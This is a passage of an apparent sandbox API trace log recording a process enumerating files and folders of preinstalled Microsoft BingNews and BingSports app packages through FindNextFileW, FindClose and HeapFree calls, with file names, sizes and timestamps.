ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1 [0079.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0079.658] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0079.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIADDF~1.0_N")) returned 1 [0079.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047af3f, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7047af3f, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7047af3f, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2967, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0079.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0079.658] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0079.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI13A6~1.0_X")) returned 1 [0079.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.659] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0079.661] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.662] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704c73fb, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa457e69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0079.664] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="News_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1 [0079.664] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d7904, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0 [0079.665] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0079.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0079.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9572, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1 [0079.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0079.666] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0079.666] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70585fca, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0079.666] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45e65c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1 [0079.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45f23f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1 [0079.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45fd68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1 [0079.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.667] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4608e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0079.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1 [0079.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa461467, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0 [0079.668] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0079.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45ce6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0 [0079.668] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0079.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0 [0079.670] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0079.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.670] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0079.671] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0079.671] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464f0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0079.671] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0079.671] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0079.671] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464150, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0079.672] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0079.672] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0079.672] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0079.673] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0079.673] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.673] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0079.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.674] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0079.674] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.674] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1 [0079.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.675] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0079.675] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0079.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0079.675] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53d33a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI90D7~1.0_N")) returned 1 [0079.675] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.675] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c27a365, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c27a365, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c27a365, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0079.676] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.676] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0079.676] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0079.676] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0079.676] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2a05a2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d0219, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608775e5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI689D~1.0_X")) returned 1 [0079.676] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0079.676] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0080.176] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.176] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c312cbd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c2ab5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0080.180] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.180] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sports_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1 [0080.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.181] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, 